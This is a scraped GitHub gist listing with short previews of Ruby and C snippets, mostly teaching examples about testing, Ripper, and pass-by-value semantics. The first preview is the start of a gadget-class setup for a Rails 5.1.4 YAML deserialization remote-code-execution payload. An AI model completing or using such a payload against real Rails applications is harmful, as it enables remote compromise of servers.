Skip to content

Instantly share code, notes, and snippets.

@niklasb
niklasb / railspwn.rb
Last active March 7, 2021 12:14
Rails 5.1.4 YAML unsafe deserialization RCE payload
require 'yaml'
require 'base64'
require 'erb'
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
@JoshCheek
JoshCheek / testing_a_client_for_a_backend_app.rb
Last active August 29, 2015 14:00
How to test a client for a backend app. Creates a simple app, simple client, consumes it with rack-test, starts it up on a server, consumes it with restclient.
# backend app
require 'sinatra/base'
require 'json'
class UsersController < Sinatra::Base
get '/users/:id' do
JSON.dump id: params[:id].to_i, name: "Josh"
end
end
@JoshCheek
JoshCheek / project_ideas.md
Created September 6, 2013 14:25
Some ideas for projects to work on after RKS.
  • Implement your own Enumerable module! (this will give you some exposure to functional programming ideas and help you understand how modules work)
  • Implement the entire Array class using a linked list and give it much of its functionality by including your Enumerable module! (this will give you experience with some not too complex algorithms, as well as more Ruby exposure, familiarity with the Array class, and a realization that almost everything in Ruby you can implement yourself if you want, Array isn't special other than its literals, also we'll implement it using a linked list, so some CS core ideas, and an opportunity for me to give you a code review and probably expose you to functional ideas by showing you how I implemented it)
  • Implement curry (not too difficult and will give you more exposure to functional ideas)
  • Maybe some of the string functions (or maybe not, the real benefit here is that you would get experience with problem solving and algorithms, we may decide that isn't relevant)
  • Top-do
@JoshCheek
JoshCheek / ripper_again_yalls.rb
Last active December 10, 2015 13:28
Ripper for syntax
require 'ripper'
Ripper::SexpBuilder.instance_methods.grep(/error/i) # => [:on_alias_error, :on_assign_error, :on_class_name_error, :on_param_error, :on_parse_error]
class DemoBuilder < Ripper::SexpBuilder
instance_methods.each do |meth_name|
next unless meth_name =~ /^on_/
super_meth = instance_method meth_name
define_method meth_name do |*args|
super_meth.bind(self).call(*args).tap do |result|
@JoshCheek
JoshCheek / pass_by_x.c
Created April 27, 2011 02:00
Why "pass by value" and "pass by reference" are meaningless phrases
/* The problem with phrases like "pass by value", "pass by object reference", and "pass by reference"
* is that they are utterly meaningless becaues there are three perspectives one can take when trying
* to classify these things.
*/
typedef struct { int value; } Object;
/* PERSPECTIVE 1: The parameters of the function being called (this is the one that _should_ matter) */
void function_by_value (Object o) { }
@JoshCheek
JoshCheek / ideas.textile
Created November 8, 2010 19:21
Next Lightning Talk ideas

http://tinyurl.com/josh-lightning-talks

  • Present trip to RDRC
  • How to contribute to F/OSS
  • Ruby method overloading
  • Chem timer
  • Land of Lisp book review
  • Metaprogramming Ruby book review
  • Cucumber Watir example
@JoshCheek
JoshCheek / README
Created November 22, 2009 09:33
Testing the differences between references and pointers
*PURPOSE:
This is a test to evaluate the underlying difference between references and pointers.
*PROCESS:
The session can be seen in this image http://grab.by/Jbi
First:
Create a file that uses references (references.cpp), then duplicate it using pointers(pointers.cpp)